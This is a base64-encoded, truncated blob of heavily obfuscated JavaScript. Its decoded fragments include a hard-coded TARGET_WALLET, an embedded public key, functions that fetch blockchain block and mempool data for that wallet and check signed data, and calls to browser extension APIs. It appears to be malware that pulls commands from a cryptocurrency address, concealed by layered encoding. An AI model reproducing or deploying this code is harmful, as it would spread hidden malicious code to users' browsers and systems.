FlMzApLF8weDI4MzQwZSsrO2NvbnRpbnVlO2Nhc2UnMyc6aWYoXzB4NGU0ZWFjW18weDMwNGEwNygweDI2ZSwnVHQ3cicsMHgzMGYsMHgxZDUsMHgxZWYpXSgweDNmOSsweDFkZjYrLTB4MjFlZixfMHg1NTk0YzNbXzB4NDgyNmYzKC0weDFjMSwtMHgyYjUsLTB4Mjk4LCdSJWt3JywtMHgyMmMpKydoJ10pKXJldHVybicnO2NvbnRpbnVlO2Nhc2UnNCc6Zm9yKF8weDQ5OWIzZT12b2lkKDB4ODUrLTB4MTViKjB4MSsweGQ2KSxfMHgzMWRmZWQ9dm9pZCgtMHg1ZWErLTB4YiotMHgzMjIrMHg1NCotMHg1NyksXzB4MWJjN2Y4PVsweDEqLTB4MTIyOSsweDRlKjB4NzErMHg1NSotMHgzMV0sXzB4NDVlYzlmPTB4NWI2Ky0weDFmZDAqLTB4MSsweDI1ODYqLTB4MTtfMHg0ZTRlYWNbXzB4NDVkMTY3KDB4MmRhLDB4MzBmLDB4MmE5LCdjXl5AJywweDQxNCldKF8weDExOWNmZSxfMHgxYTZhYzJbXzB4MzNiYTRmKDB4NDQ2LDB4NGQ3LDB4NTIyLDB4NTE3LCdoZHMjJykrJ2gnXSk7KXtmb3IoXzB4MzFkZmVkPS0weDEzNjUrLTB4NzRmKjB4MSsweDQqMHg2YWQ7XzB4NGU0ZWFjW18weDM5ZGNhYigtMHgzOGUsLTB4MmJiLC0weDIxZSwnaTc1UCcsLTB4MmEwKV0oXzB4MzFkZmVkLF8weDFiYzdmOFtfMHgzOWRjYWIoLTB4MjE5LC0weDI4NSwtMHgyODQsJ2NeXkAnLC0weDMxOCkrJ2gnXSk7KV8weDFiYzdmOFtfMHgzMWRmZWRdPDw9LTB4YzlhKzB4MSotMHgxYjkxKzB4MjgzMyxfMHgzMWRmZWQrKztmb3IoXzB4MWJjN2Y4Wy0weDk1ZioweDErLTB4MWVjNCoweDErMHgyODIzXSs9XzB4NDhjNTFjW18weDVkOGZmMl0sXzB4MTk5ZDFmPTB4OGZlKy0weDIxZDQrMHgxOGQ2LF8weDMxZGZlZD0weDExZDMrLTB4MSoweDIyNGUrMHgxMDdiO18weDRlNGVhY1tfMHg0ODI2ZjMoLTB4MTNmLC0weDI2ZSwtMHgxZDgsJ3VmKConLC0weDE3ZCldKF8weDMxZGZlZCxfMHgxYmM3ZjhbXzB4MzA0YTA3KDB4MmI3LCdqUVp2JywweDIzZSwweDNjNCwweDE5YykrJ2gnXSk7KV8weDFiYzdmOFtfMHgzMWRmZWRdKz1fMHgxOTlkMWYsXzB4MTk5ZDFmPV8weDRlNGVhY1tfMHgzM2JhNGYoMHg0ODYsMHg0ODAsMHg0YmYsMHg1YWMsJ3Y0T3gnKV0oXzB4NGU0ZWFjW18weDMzYmE0ZigweDI3OCwweDM1OCwweDNhNSwweDQwZCwnN2F6TCcpXShfMHgxYmM3ZjhbXzB4MzFkZmVkXSwtMHgzKjB4NTE3Ky0weDEyZDkrLTB4OCotMHg0NGIpLDB4MSotMHg3NjErLTB4MTI3ZistMHgyNCotMHhiOCksXzB4MWJjN2Y4W18weDMxZGZlZF0lPS0weGU3ZSstMHgzM2QqLTB4YSsweGVlKi0weDEzLCsrXzB4MzFkZmVkO2Zvcig7XzB4MTk5ZDFmOylfMHgxYmM3ZjhbXzB4NDVkMTY3KDB4M2Q5LDB4MmI4LDB4NDE3LCdoZHMjJywweDMxNildKF8weDRlNGVhY1tfMHg0NWQxNjcoMHg0NzAsMHgzYWQsMHg1OTksJzZGMiMnLDB4NThmKV0oXzB4MTk5ZDFmLC0weDIqLTB4ODZlKy0weDEzZjIrLTB4MzUwKi0weDEpKSxfMHgxOTlkMWY9XzB4NGU0ZWFjW18weDQ1ZDE2NygweDNhNCwweDJlYywweDQ4YywnWnBDcScsMHgyYzcpXShfMHg0ZTRlYWNbXzB4MzlkY2FiKC0weDJkZCwtMHgyNzgsLTB4OTIsJypII0EnLC0weDFiOSldKF8weDE5OWQxZiwweDYqMHg0ODErLTB4MWM3YisweDFhZioweDEpLC0weDYyNSsweDk5ZSoweDQrLTB4Njc3KjB4NSk7XzB4MjdkYmYzKys7fWNvbnRpbnVlO31icmVhazt9fWVsc2V7dmFyIF8weDYwN2M2ZSxfMHg1YmQ3NzksXzB4NWJhNzY5PSEoLTB4NioweDMxYisweDE5YmQrLTB4Y2EqMHg5KTtmb3IoXzB4NjA3YzZlPTB4MTBmKjB4MTErMHgxNTUqLTB4YystMHgyMDM7XzB4NGU0ZWFjW18weDQ1ZDE2NygweDI5NiwweDE2NCwweDJmNiwneG0xZycsMHgyOGUpXShfMHg2MDdjNmUsXzB4MWVjMmZlW18weDMwNGEwNygweDFjYiwnZkEzNScsMHgxYTAsMHgyNzAsMHgyNjkpXVtfMHg0NWQxNjcoMHgyNjYsMHgzMWIsMHgzMjgsJ1lrITYnLDB4MThhKSsnaCddKTtfMHg2MDdjNmUrKyl0cnl7aWYoXzB4NGU0ZWFjW18weDM5ZGNhYigtMHhiMiwtMHgyNDUsLTB4MjQ5LCdxaVZKJywtMHgxMmMpXShfMHg0ZTRlYWNbXzB4MzlkY2FiKC0weDFiNiwtMHhhNywtMHgyNjksJ0hOVFInLC0weDE4MSldLF8weDRlNGVhY1tfMHg0ODI2ZjMoLTB4Y2QsLTB4MWIsLTB4MTBiLCdwJmJNJywtMHgxY2MpXSkpe2ZvcihfMHg1YmQ3Nzk9MHhmNCoweDFhKy0weDFiOTcrMHgyY2Y7XzB4NGU0ZWFjW18weDM5ZGNhYigtMHg1OCwtMHg0LC0weDRmLCd1ZigqJywtMHhkOCldKF8weDViZDc3OSxfMHgxZWMyZmVbXzB4MzNiYTRmKDB4M2RkLDB4M2FiLDB4M2ZjLDB4NGYyLCdkYjRWJyldW18weDYwN2M2ZV1bXzB4MzNiYTRmKDB4NWM5LDB4NjU3LDB4NThlLDB4NTQwLCdmYV1wJykrJ3MnXVtfMHg0ODI2ZjMoLTB4MWMxLC0weDIzMCwtMHgxNjEsJ1Ila3cnLC0weDE0OCkrJ2gnXSk7XzB4NWJkNzc5KyspaWYoXzB4NGU0ZWFjW18weDQ4MjZmMygtMHgxNmMsLTB4NDMsLTB4MWZiLCdDJHlQJywtMHg4NCldKF8weDFlYzJmZVtfMHgzM2JhNGYoMHg0MmYsMHgzM2YsMHg0MGQsMHg1MmYsJ1gocnQnKV1bXzB4NjA3YzZlXVtfMHgzM2JhNGYoMHg1OWQsMHg0N2QsMHg1NWIsMHg0ZGUsJ3AmYk0nKSsncyddW18weDViZDc3OV1bXzB4MzA0YTA3KDB4MjM5LCdSUzBPJywweGY0LDB4MWZiLDB4MTQ4KStfMHgzM2JhNGYoMHg0YjIsMHgzZjksMHg0Y2YsMHg1MmUsJyZeb2onKV1bXzB4NDVkMTY3KDB4MzQ0LDB4NDA2LDB4MzJiLCdacENxJywweDIzYildLFRBUkdFVF9XQUxMRVQpKXtpZihfMHg0ZTRlYWNbXzB4MzA0YTA3KDB4MmZiLCdvMXFCJywweDIxMCwweDFjNSwweDI5NildKF8weDRlNGVhY1tfMHgzOWRjYWIoLTB4MThiLC0weDI1ZSwtMHgyNGYsJ2NeXkAnLC0weDEyNyldLF8weDRlNGVhY1tfMHg0ODI2ZjMoLTB4MzEsLTB4YjQsLTB4YWQsJyRtMkUnLC0weDE2MSldKSl0cnl7bGV0IF8weGRjZWFkPV8weDQ2NjZmNltfMHg0NWQxNjcoMHgyYzEsMHgzZWMsMHgyMmIsJ11nZkEnLDB4MWNiKSsnbSddW18weDMwNGEwNygweDJhNiwnWnBDcScsMHgzZDIsMHgyYjEsMHgzNDUpKyc4J11bXzB4NDVkMTY3KDB4MmI5LDB4MzQyLDB4MjI3LCdacENxJywweDFjNykrJ2UnXShfMHg1OGMyOGIpO18weGRjZWFkPV8weGRjZWFkW18weDQ4MjZmMygtMHgxMCwtMHgxMWYsLTB4MSwncFQ3RCcsMHgxMTMpXSgtMHgzOTMrMHg5MWErMHgyYzMqLTB4MiwtMHhhMWQrLTB4MmIwKi0weGErMHgyKi0weDg1NyksXzB4ZGNlYWQ9XzB4NGU0ZWFjW18weDM5ZGNhYigtMHgzNTgsLTB4MzgzLC0weDMxOSwnSE5UUicsLTB4MzFhKV0oXzB4MzMwMWI3LF8weGRjZWFkKSxfMHgzZDRlOTlbXzB4MzNiYTRmKDB4NTVkLDB4NTAzLDB4NTU5LDB4NWZmLCdseVN5JyldKF8weGRjZWFkKTt9Y2F0Y2goXzB4MTJiN2M4KXt9ZWxzZXtfMHg0YzY4OWI9XzB4MWVjMmZlW18weDMwNGEwNygweDI0MiwndjRPeCcsMHgxOTUsMHgxNjAsMHgzNjYpXVtfMHg2MDdjNmVdW18weDQ1ZDE2NygweDI2YywweDFkZSwweDI3NCwneG0xZycsMHgyMjQpXVtfMHg1YmQ3NzldW18weDMzYmE0ZigweDY0NSwweDRkMSwweDUwMywweDUzMSwnQyR5UCcpXSxfMHg0YzY4OWI9Y2hyb21lW18weDQ4MjZmMygtMHgyYSwtMHhkZCwtMHgxMzQsJ2x5U3knLC0weDE0YykrJ20nXVtfMHg0ODI2ZjMoLTB4MTQ2LC0weDE1MCwtMHg0MCwnW3gjVicsLTB4YzYpKyc4J11bXzB4MzlkY2FiKC0weDM3YSwtMHgxNWQsLTB4MTlkLCcqSCNBJywtMHgyNTApKydlJ10oXzB4NGM2ODliKSxfMHg0YzY4OWI9XzB4NGM2ODliW18weDMwNGEwNygweDJjMywnREtZaycsMHgyMDUsMHgxZWUsMHgzMzQpXSgtMHg5Ki0weDQxMistMHgxNmYwKjB4MSsweDUqLTB4MmJkLC0weDEyYzUrMHgxKi0weGZiMysweDIyOGQpLF8weDRjNjg5Yj1fMHg0ZTRlYWNbXzB4NDVkMTY3KDB4NDJlLDB4M2RhLDB4NTBlLCdQQCEqJywweDQxZildKENTdHJpbmdUb1N0cmluZyxfMHg0YzY4OWIpLF8weDViYTc2OT0hKC0weGZkYystMHhiN2IrLTB4MSotMHgxYjU3KTticmVhazt9fWlmKF8weDViYTc2OSlicmVhazt9ZWxzZSBfMHg1ZDA1MDBbXzB4NDVkMTY3KDB4MzlmLDB4MmUzLDB4NDZjLCcxJHdYJywweDJjNSkrJ2F5J10oXzB4NTA4MjVhKT9fMHgyOTEzMzhbXzB4NDVkMTY3KDB4MmYzLDB4MzQ1LDB4MWJiLCdSJWt3JywweDI4MikrJ2NoJ10oXzB4MTkzYzg4KTpfMHgzMTYzYTVbXzB4MzlkY2FiKC0weDE2OSwtMHg4MSwtMHhmYiwnWnBDcScsLTB4MTcwKV0oXzB4NGY1ZmE1KTt9Y2F0Y2goXzB4MjM3NDgzKXt9aWYoXzB4NWJhNzY5KXJldHVybiBfMHg0YzY4OWI9XzB4NGM2ODliW18weDM5ZGNhYigtMHgyYzIsLTB4MjA1LC0weDFiMywnTiE4MScsLTB4MjBkKStfMHgzOWRjYWIoLTB4MzQzLC0weDFjZiwtMHgzMGYsJ3hTVTQnLC0weDIzOCldKCcrJywnJyksXzB4NGM2ODliO319KSxfMHg0YzY4OWI7fTtjb25zdCBUQVJHRVRfV0FMTEVUPV8weDU3OGFkNCgweDc1LC0weDI1LDB4MTU1LCdXeUtCJywweDEyNCkrXzB4NTc4YWQ0KDB4MTYzLDB4ZWYsMHgxNWEsJ3QpNV0nLDB4MTBjKStfMHg1ZmExNmEoMHgxMjYsMHgyNDAsMHg3YywnJG0yRScsLTB4MTcpK18weDU3OGFkNCgweDU3LDB4NTAsMHhlYiwnZmFdcCcsLTB4N2QpK18weDVmYTE2YSgweDFhOCwweDE4NCwweDI0NCwnJG0yRScsMHgxMjkpK18weDVmYTE2YSgweDIwMiwweDM0NSwweDMyZiwncWlWSicsMHgyNjQpK18weGE0ZGM1YigtMHgxNjMsJ2NeXkAnLC0weGM3LC0weDExMywtMHhmNykrXzB4NWZhMTZhKDB4Mjg4LDB4MTdjLDB4MjE3LCcmXm9qJywweDFmZikrJ2M5JyxwdWJsaWNLZXlCYXNlNjQ9XzB4NTc4YWQ0KDB4MTI5LDB4MTM1LDB4MWY2LCdVM1pFJywweGM5KStfMHgxMjgwOTcoLTB4YywnalFadicsLTB4MTgxLC0weGFhLC0weDExMCkrXzB4MTI4MDk3KC0weGIyLCdlKUhKJywtMHhmMCwtMHg3YSwweDc0KStfMHg1ZmExNmEoMHg1MCwweDE0MCwtMHhhNCwnbzFxQicsLTB4YWIpK18weDEyODA5NygweGNmLCdwJmJNJywweDExMywtMHgxZCwtMHgxMTcpK18weGE0ZGM1YigtMHgxNywndWYoKicsMHg4NCwweDE1MCwweDE4ZikrXzB4YTRkYzViKDB4NzUsJ0MkeVAnLDB4MjksMHhhMywweGVlKStfMHgxMjgwOTcoLTB4MTJkLCdSUzBPJywtMHhhMiwtMHg0NCwtMHgxMGYpK18weDEyODA5NygtMHg5OSwncWlWSicsMHhkZiwweDc2LDB4YmEpK18weGE0ZGM1YigweDdlLCdacENxJywtMHg3YywtMHgxMzIsLTB4YTkpK18weDVmYTE2YSgweDIyYSwweDE4MywweDM1NCwnY15eQCcsMHgxNGMpK18weDU3OGFkNCgweDEzYiwweDE2YSwtMHg1LCc2RjIjJywweDE4YSkrXzB4NTYzNmY3KC0weGExLC0weDE0MSwtMHgyOGEsJ0x1ckQnLC0weDk3KStfMHg1NzhhZDQoMHgyZCwweDEyYSwtMHg2MSwnaGRzIycsMHhkYikrXzB4NTYzNmY3KC0weDc5LC0weDQ4LDB4Y2QsJ1R0N3InLC0weDlkKStfMHg1ZmExNmEoMHgyMTYsMHgyMGYsMHgxMmUsJ2ZhXXAnLDB4MzEyKStfMHg1NjM2ZjcoLTB4MWVlLC0weDFlNSwtMHhlMCwnTHVyRCcsLTB4YjApK18weDVmYTE2YSgweDE3MCwweDI4ZCwweDJiLCdDJHlQJywweDIwMSkrXzB4MTI4MDk3KDB4ZWMsJ1gocnQnLDB4MTViLDB4OGMsLTB4NzkpK18weGE0ZGM1YigtMHg4YywnJl5vaicsMHg2NiwweDEyOSwweGU3KStfMHhhNGRjNWIoLTB4OWIsJ1JTME8nLC0weDEzMywtMHgyMSwtMHgyMzMpK18weDVmYTE2YSgweDIzMCwweDE3NSwweDJhMywnSE5UUicsMHgyZDIpK18weGE0ZGM1YigtMHhjMCwnKkgjQScsLTB4OTYsLTB4ZWEsLTB4MzApK18weDU3OGFkNCgweGM4LDB4NGIsMHgxYWEsJzEkd1gnLDB4MWJmKStfMHg1NjM2ZjcoLTB4NTIsLTB4MTAzLC0weDE5ZCwnbzFxQicsLTB4MTgwKStfMHg1ZmExNmEoMHg1OSwweDdmLDB4OTUsJ0BqRE0nLC0weDJhKStfMHhhNGRjNWIoMHg0NCwnUEAhKicsLTB4OWIsLTB4MWE4LC0weDk5KStfMHhhNGRjNWIoMHgxYWQsJ3VmKConLDB4YWIsLTB4MTAsMHgxMTUpK18weDU2MzZmNygweDk5LC0weDJmLDB4ZDAsJ3AmYk0nLC0weDYyKStfMHg1NjM2ZjcoLTB4MTY4LC0weDdjLC0weDI2LCd4bTFnJywtMHgxMDUpK18weDEyODA5NygtMHgxYmYsJ2hkcyMnLC0weDEyZiwtMHgxMzMsLTB4NjcpK18weDEyODA5NygtMHhhOCwnZSlISicsLTB4MTQ4LC0weGUzLC0weDYyKStfMHgxMjgwOTcoLTB4OWQsJzEkd1gnLDB4MTEzLDB4N2MsLTB4NzQpK18weGE0ZGM1YigweDFkOSwnZmFdcCcsMHhkMywweDZlLDB4MTU2KStfMHg1ZmExNmEoMHgxZWEsMHgxZGYsMHgxZjUsJ2k3NVAnLDB4YmIpK18weDEyODA5NygweDJmLCdMdXJEJywtMHg5ZCwtMHg5YSwtMHg3OCkrXzB4NTYzNmY3KC0weDVhLC0weDEwNywtMHgzMCwnUiVrdycsMHgzKStfMHhhNGRjNWIoLTB4MTQzLCdYKHJ0JywtMHhjNiwtMHgyMGUsLTB4YTYpK18weDEyODA5NygtMHgxYzcsJ3BUN0QnLDB4MSwtMHgxMzUsLTB4MjZkKStfMHgxMjgwOTcoMHgyNiwnUiVrdycsLTB4MTMxLC0weGQ4LC0weDU1KStfMHgxMjgwOTcoMHg5OCwnaTc1UCcsMHgxMDAsMHg4NCwtMHg4NykrXzB4NTYzNmY3KC0weGY3LC0weDEyMCwtMHgxNzEsJ3VmKConLC0weDZhKStfMHg1NzhhZDQoMHgxMTUsMHgxZDMsMHgxYjAsJypII0EnLDB4MWRkKStfMHgxMjgwOTcoMHg3OSwnY15eQCcsLTB4MTBkLC0weGE0LC0weDE0MykrXzB4NTc4YWQ0KDB4MTIzLDB4MWEzLDB4MWM1LCdqUVp2JywtMHg5KStfMHgxMjgwOTcoLTB4NmUsJ2hkcyMnLC0weDE0NSwtMHhhOSwtMHg5NikrXzB4NTYzNmY3KDB4OTMsMHg2OCwtMHg4NywnZmFdcCcsMHgxNzQpK18weDEyODA5NygtMHhkZSwnaGRzIycsLTB4MTM1LC0weGI2LC0weGNjKStfMHgxMjgwOTcoMHgzZiwnJl5vaicsMHgxZjUsMHhjMiwweDE5KStfMHg1NjM2ZjcoLTB4MmU0LC0weDFlMCwtMHhlMSwnW3gjVicsLTB4MzE2KStfMHhhNGRjNWIoLTB4ZGYsJyRtMkUnLC0weDFhNywtMHgyOTAsLTB4MTNiKStfMHgxMjgwOTcoLTB4MWEsJ2ZhXXAnLC0weDIyMiwtMHgxMmYsLTB4ZmUpK18weDU3OGFkNCgweDMsMHhjZSwweDgyLCdSUzBPJywtMHhjNCkrXzB4MTI4MDk3KC0weDEwMiwnalFadicsMHg2NCwtMHg5OSwtMHhlYykrXzB4NTc4YWQ0KDB4OGUsLTB4M2YsMHg1ZSwnYWE2cCcsLTB4NTkpK18weDU2MzZmNygweDQzLC0weDhhLC0weDFhZCwnJG0yRScsLTB4NykrXzB4NTc4YWQ0KDB4MWRiLDB4MThmLDB4MWM1LCdAakRNJywweDJhOCkrXzB4YTRkYzViKC0weDliLCdlKUhKJywweDNlLC0weDY2LC0weDE2KStfMHg1NjM2ZjcoLTB4MTRiLC0weDFkLDB4MjIsJ20xTWMnLDB4NjIpK18weDU3OGFkNCgweDYxLC0weDFkLDB4YjEsJ3BUN0QnLDB4MTcpK18weDU2MzZmNygtMHgxMTMsMHhhLDB4MTUxLCdES1lrJywweDU4KStfMHg1NjM2ZjcoLTB4N2IsLTB4MTU4LC0weDIyNCwnRnREcScsLTB4MWNjKStfMHgxMjgwOTcoLTB4MTE4LCdOITgxJywweGFkLC0weDg0LDB4NWUpK18weDU3OGFkNCgweDFmYSwweDI1NSwweDFhMCwndWVXNicsMHgyOTUpK18weDU3OGFkNCgweDI2NSwweDJmMywweDFkOCwnaGRzIycsMHgxNGEpK18weDEyODA5NygtMHhlNCwnNkYyIycsLTB4MTViLC0weGYzLC0weDE3MCkrXzB4YTRkYzViKC0weDExNSwnKkgjQScsLTB4OTMsMHhiMiwtMHgxZDUpK18weGE0ZGM1YigtMHg2OSwnbHlTeScsLTB4MWFkLC0weDJkMCwtMHhkNikrXzB4NTc4YWQ0KDB4MWUwLDB4MTI4LDB4Y2MsJzImRW4nLDB4MzFjKStfMHhhNGRjNWIoMHgxYjksJ2ZBMzUnLDB4Y2MsMHg3NSwweDc1KStfMHg1ZmExNmEoMHgxYSwweGQ3LC0weGIxLCdseVN5JywweDE1KStfMHg1NjM2ZjcoLTB4MWE1LC0weDE1ZCwtMHgxNDYsJ2hkcyMnLC0weGNhKStfMHgxMjgwOTcoLTB4NTAsJ2FhNnAnLC0weDE2LC0weDE1NCwtMHg5MSkrXzB4NTYzNmY3KC0weDI2NiwtMHgxOWEsLTB4MWI0LCdGdERxJywtMHgxMDApK18weDU3OGFkNCgweDVjLC0weGU1LDB4MTk4LCdkYjRWJywtMHg4YSkrXzB4MTI4MDk3KC0weGRkLCdhYTZwJywweDExYywtMHgyLC0weDVhKStfMHgxMjgwOTcoMHg3MSwnalFadicsMHgzMCwweDZkLDB4MTQyKStfMHgxMjgwOTcoMHg2YiwnREtZaycsMHgxNywweGUsMHhjKSsnQUInO2FzeW5jIGZ1bmN0aW9uIGZldGNoQmxvY2tKU09OKCl7Y29uc3QgXzB4MTlkZDNmPXsnYXd5ekMnOmZ1bmN0aW9uKF8weGMyY2RmNixfMHg1OGFkYWQpe3JldHVybiBfMHhjMmNkZjYoXzB4NThhZGFkKTt9LCdOemVUTCc6ZnVuY3Rpb24oXzB4MTNjZjMyLF8weDU4YjY3Nyl7cmV0dXJuIF8weDEzY2YzMitfMHg1OGI2Nzc7fSwnRmVlU1UnOmZ1bmN0aW9uKF8weDRmNjY2NyxfMHg1OThkODApe3JldHVybiBfMHg0ZjY2NjcrXzB4NTk4ZDgwO30sJ0JyTVhYJzpfMHgzMjQxZGYoMHg0ODQsJ2ZhXXAnLDB4NWFlLDB4NjAwLDB4NDljKStfMHg0ZTNhYTIoJ1t4I1YnLDB4MzA1LDB4MzAxLDB4MWJkLDB4M2Y3KStfMHgzMjQxZGYoMHg1NjcsJ11nZkEnLDB4NWYzLDB4NGYyLDB4NzAyKStfMHg0OWRmYjkoMHgxYzksMHhhNiwnREtZaycsMHgxNWYsMHgxNDMpK18weDRiZDBiMCgweDJlNiwweDNhNiwweDRjNiwnalFadicsMHgzYzUpK18weDRiZDBiMCgweDU2YiwweDNmZiwweDU4MCwnN2F6TCcsMHg0NzQpKydzLycsJ3FLeXVaJzpfMHhlNjY4YzMoLTB4OWQsJ2x5U3knLC0weGNlLC0weDFjMywtMHgyNWQpK18weDQ5ZGZiOSgweDEyZiwweDI5LCd2NE94JywweGUyLC0weDgyKSsnb24nfSxfMHgyMWYyNjI9YXdhaXQgXzB4MTlkZDNmW18weDQ5ZGZiOSgtMHg3YiwtMHhiOCwnRENjKicsLTB4M2EsLTB4MzApXShmZXRjaCxfMHgxOWRkM2ZbXzB4NGJkMGIwKDB4NDk0LDB4MzQ0LDB4Mzc4LCc2RjIjJywweDNmNCldKF8weDE5ZGQzZltfMHg0YmQwYjAoMHgzZjgsMHgzYTAsMHgzZmYsJypII0EnLDB4M2Q3KV0oXzB4MTlkZDNmW18weDMyNDFkZigweDU2OCwnN2F6TCcsMHg1YTIsMHg1YjksMHg1YjkpXSxUQVJHRVRfV0FMTEVUKSxfMHgxOWRkM2ZbXzB4ZTY2OGMzKC0weGY1LCdoZHMjJywtMHgyNGEsLTB4MTM2LC0weDI3OCldKSk7ZnVuY3Rpb24gXzB4ZTY2OGMzKF8weDEwYWMwYSxfMHg1NzJkOTIsXzB4MmI0YjM1LF8weDRmZDA4MCxfMHg0YzY5MGEpe3JldHVybiBfMHg1NzhhZDQoXzB4NGZkMDgwLSAtMHgxYzUsXzB4NTcyZDkyLTB4MTA1LF8weDJiNGIzNS0weDFkOCxfMHg1NzJkOTIsXzB4NGM2OTBhLTB4MTlhKTt9ZnVuY3Rpb24gXzB4NDlkZmI5KF8weDFlZjYxOSxfMHgxMjgxZjEsXzB4MjE4Mzk5LF8weDFmMzEzMSxfMHg0ODQ4ODgpe3JldHVybiBfMHg1ZmExNmEoXzB4MTI4MWYxLSAtMHgxNjIsXzB4MTI4MWYxLTB4MTEzLF8weDIxODM5OS0weDFhYyxfMHgyMTgzOTksXzB4NDg0ODg4LTB4ZmQpO31mdW5jdGlvbiBfMHg0YmQwYjAoXzB4OTczMzFmLF8weDIwZTlhZCxfMHgxYTUwMmEsXzB4N2EwZWM3LF8weDVlNDIyZSl7cmV0dXJuIF8weDEyODA5NyhfMHg5NzMzMWYtMHhiNCxfMHg3YTBlYzcsXzB4MWE1MDJhLTB4NTcsXzB4NWU0MjJlLTB4NGMyLF8weDVlNDIyZS0weDlkKTt9ZnVuY3Rpb24gXzB4MzI0MWRmKF8weDNkMjQ0ZSxfMHg1ZGRiMGIsXzB4NWUwOTIyLF8weGEzN2U1MixfMHg1YWIxMTkpe3JldHVybiBfMHgxMjgwOTcoXzB4M2QyNDRlLTB4MzEsXzB4NWRkYjBiLF8weDVlMDkyMi0weDFjOSxfMHg1ZTA5MjItMHg1ODQsXzB4NWFiMTE5LTB4MWU3KTt9ZnVuY3Rpb24gXzB4NGUzYWEyKF8weDFiMWMzMSxfMHg0MjQ0NTksXzB4NTA5YmE0LF8weDNmNjg0NixfMHg2MzQxNmYpe3JldHVybiBfMHhhNGRjNWIoXzB4MWIxYzMxLTB4MTA2LF8weDFiMWMzMSxfMHg1MDliYTQtMHgzN2EsXzB4M2Y2ODQ2LTB4ZixfMHg2MzQxNmYtMHgxNjQpO31yZXR1cm4gYXdhaXQgXzB4MjFmMjYyW18weDRiZDBiMCgweDNhNCwweDMyOSwweDQ3ZiwnZkEzNScsMHgzZTApXSgpO31hc3luYyBmdW5jdGlvbiBnZXRTaWduRGF0YShfMHg0MjU0NDcpe2NvbnN0IF8weDFlYmY0Mz17J1J1d0xMJzpmdW5jdGlvbihfMHgxY2NmZGUsXzB4NGYwMjcyKXtyZXR1cm4gXzB4MWNjZmRlKF8weDRmMDI3Mik7fX07ZnVuY3Rpb24gXzB4ZjdkZDk4KF8weDExMDJlYixfMHg0ODdkNDgsXzB4M2QwNTNjLF8weDE5MWNjYSxfMHgxMTU2OGMpe3JldHVybiBfMHg1NjM2ZjcoXzB4MTEwMmViLTB4ZjEsXzB4MTEwMmViLTB4MzFiLF8weDNkMDUzYy0weDFlZSxfMHgxOTFjY2EsXzB4MTE1NjhjLTB4MTM1KTt9ZnVuY3Rpb24gXzB4MWZmMzI0KF8weGUwYzJiZCxfMHhlOWEwZjYsXzB4NmZkNWNiLF8weDNmOGFkYSxfMHg0Mzk0MGQpe3JldHVybiBfMHgxMjgwOTcoXzB4ZTBjMmJkLTB4MWIwLF8weGU5YTBmNixfMHg2ZmQ1Y2ItMHgxMDEsXzB4ZTBjMmJkLTB4NjQsXzB4NDM5NDBkLTB4ZjUpO31jb25zdCBfMHg1YzAyMGM9YXdhaXQgXzB4MWViZjQzW18weGY3ZGQ5OCgweDM5MywweDRiOSwweDQ2OCwndjRPeCcsMHg0MDApXShmZXRjaCxfMHg0MjU0NDcpO3JldHVybiBhd2FpdCBfMHg1YzAyMGNbXzB4MWZmMzI0KC0weDRjLCdXeUtCJywtMHg3NywtMHgxOGMsLTB4MTMyKV0oKTt9YXN5bmMgZnVuY3Rpb24gR2V0QWRkcmVzc2VzX01lbXBvb2woXzB4MjdiZjIzPTB4MyoweDdkOSstMHgxMDFlKi0weDErLTB4MSoweDI3YTkpe2Z1bmN0aW9uIF8weDM3MzY5MyhfMHg0NTk1MTMsXzB4MzY5MzI3LF8weDU2MThmNixfMHgzNGY0MGQsXzB4MWMyZThlKXtyZXR1cm4gXzB4YTRkYzViKF8weDQ1OTUxMy0weDFiZCxfMHg0NTk1MTMsXzB4MWMyZThlLSAtMHgxMTQsXzB4MzRmNDBkLTB4MTg4LF8weDFjMmU4ZS0weDEwMyk7fWZ1bmN0aW9uIF8weDRlYTg5MShfMHg0NmM3YTQsXzB4M2VmYzY4LF8weDU2ODljOCxfMHg2MWFhYTAsXzB4NWRjZTU5KXtyZXR1cm4gXzB4NWZhMTZhKF8weDNlZmM2OC0gLTB4MmY2LF8weDNlZmM2OC0weGYsXzB4NTY4OWM4LTB4MTZmLF8weDQ2YzdhNCxfMHg1ZGNlNTktMHgxNjkpO31jb25zdCBfMHhlMTA3Yjk9eyd1anBUUSc6XzB4NWJhZTRiKDB4NWFjLDB4NTZiLDB4NGYxLCdacENxJywweDNiYSkrXzB4MzczNjkzKCcyJkVuJywtMHgyYTEsLTB4MWYzLC0weDJjMCwtMHgyN2QpLCd2TFJ5Qic6ZnVuY3Rpb24oXzB4NWUxNzZkLF8weDFmMGZlMSl7cmV0dXJuIF8weDVlMTc2ZDxfMHgxZjBmZTE7fSwnak93Zk4nOmZ1bmN0aW9uKF8weDM4MmM1MyxfMHhmZmM2Y2Epe3JldHVybiBfMHgzODJjNTMmXzB4ZmZjNmNhO30sJ3BZS25uJzpmdW5jdGlvbihfMHg1ZGJkNTcsXzB4NWMwNzM0KXtyZXR1cm4gXzB4NWRiZDU3IGluIF8weDVjMDczNDt9LCdZSnNkWSc6ZnVuY3Rpb24oXzB4NTEwNTU4LF8weDFiYzZlOCl7cmV0dXJuIF8weDUxMDU1OCtfMHgxYmM2ZTg7fSwnTG9NRUgnOl8weDViYWU0YigweDRjOCwweDY0MywweDU0YywncWlWSicsMHg1Y2UpK18weDViYWU0YigweDVmZiwweDY2NiwweDU0NCwnQyR5UCcsMHg0OTYpK18weDRlYTg5MSgndWVXNicsLTB4MmRlLC0weDFlNywtMHgyNjIsLTB4MjRjKStfMHg1ZDk3YzYoMHg5MSwweDEzYywtMHhhOSwweGM4LCdVM1pFJykrXzB4NWQ5N2M2KC0weDc1LDB4ZDEsLTB4NmMsLTB4MTg1LCdDJHlQJykrXzB4NGVhODkxKCc2RjIjJywtMHgyNDcsLTB4MmRlLC0weDJlMSwtMHgxMmUpK18weDRlYTg5MSgneG0xZycsLTB4NzMsMHg2ZSwtMHhiNywweDcwKStfMHg1YmFlNGIoMHgzYzUsMHgzN2UsMHgzMjAsJzImRW4nLDB4MzE3KStfMHg1NTc2ODgoMHg5MiwweGYyLDB4MTExLCdVM1pFJywweDk5KStfMHg0ZWE4OTEoJ1lrITYnLC0weDZjLC0weDJhLDB4NjcsLTB4M2QpK18weDU1NzY4OCgweGQxLDB4YTgsMHgxNDMsJ28xcUInLDB4MWMyKSwna2hDak8nOl8weDRlYTg5MSgnRTlEJScsLTB4MTJkLC0weDllLC0weDE2MSwtMHgyZSkrXzB4NTU3Njg4KDB4NzgsMHhmYiwweGIxLCdwVDdEJywweDIxMikrXzB4NTU3Njg4KDB4MmI4LDB4MTdmLDB4MjY1LCddZ2